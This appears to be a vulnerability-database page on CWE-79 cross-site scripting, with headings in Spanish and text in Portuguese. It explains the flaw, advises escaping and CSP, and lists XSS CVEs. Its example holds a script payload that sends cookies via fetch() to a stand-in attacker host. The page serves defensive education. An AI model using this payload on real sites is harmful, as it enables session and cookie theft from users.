Fallos del tipo CWE-79

29.798 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-11110MEDIUMInappropriate implementation in Extensions in Google Chrome prior to 131.0.6778.69 allowed a remote attacker to bypass site isolation via a EPSS 0.4%CVE-2025-62652MEDIUMStored XSS in WebAuthn key nameEPSS 0.4%CVE-2024-5582MEDIUMSchema & Structured Data for WP & AMP <= 1.33 - Authenticated (Contributor+) Stored Cross-Site Scripting via url AttributeEPSS 0.4%CVE-2023-48749MEDIUMWordPress Salient Core Plugin <= 2.0.2 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-49846MEDIUMWordPress Author Avatars List/Block Plugin <= 2.1.17 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2023-0024MEDIUMSAP Solution Manager (BSP Application) - version 720, allows an authenticated attacker to craft a malicious link, which when clicked by an uEPSS 0.4%CVE-2024-36186MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-36211MEDIUMAdobe Experience Manager | Cross-site Scripting (Reflected XSS) (CWE-79)EPSS 0.4%CVE-2024-8440MEDIUMEssential Addons for Elementor -- Best Elementor Templates, Widgets, Kits & WooCommerce Builders <= 6.0.3 - Authenticated (Contributor+) Stored Cross-Site Scripting via Fancy Text WidgetEPSS 0.4%CVE-2025-31086HIGHWordPress Product Table by WBW plugin <= 2.1.4 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-6804MEDIUMJeg Elementor Kit <= 2.6.7 - Authenticated (Author+) Stored Cross-Site Scripting via SVG FileEPSS 0.4%CVE-2023-5835LOWhu60t hu60wap6 ubbparser.php markdown cross site scriptingEPSS 0.4%CVE-2023-49820MEDIUMWordPress Structured Content Plugin <= 1.5.3 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2024-36212MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2024-36203MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2023-47854MEDIUMWordPress Parallax Image Plugin <= 1.7.1 is vulnerable to Cross Site Scripting (XSS)EPSS 0.4%CVE-2025-32580HIGHWordPress DeBounce Email Validator plugin <= 5.7.1 - CSRF to Stored XSS vulnerabilityEPSS 0.4%CVE-2024-36213MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%CVE-2025-31455HIGHWordPress Limit Max IPs Per User plugin <= 1.5 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.4%CVE-2024-36208MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.4%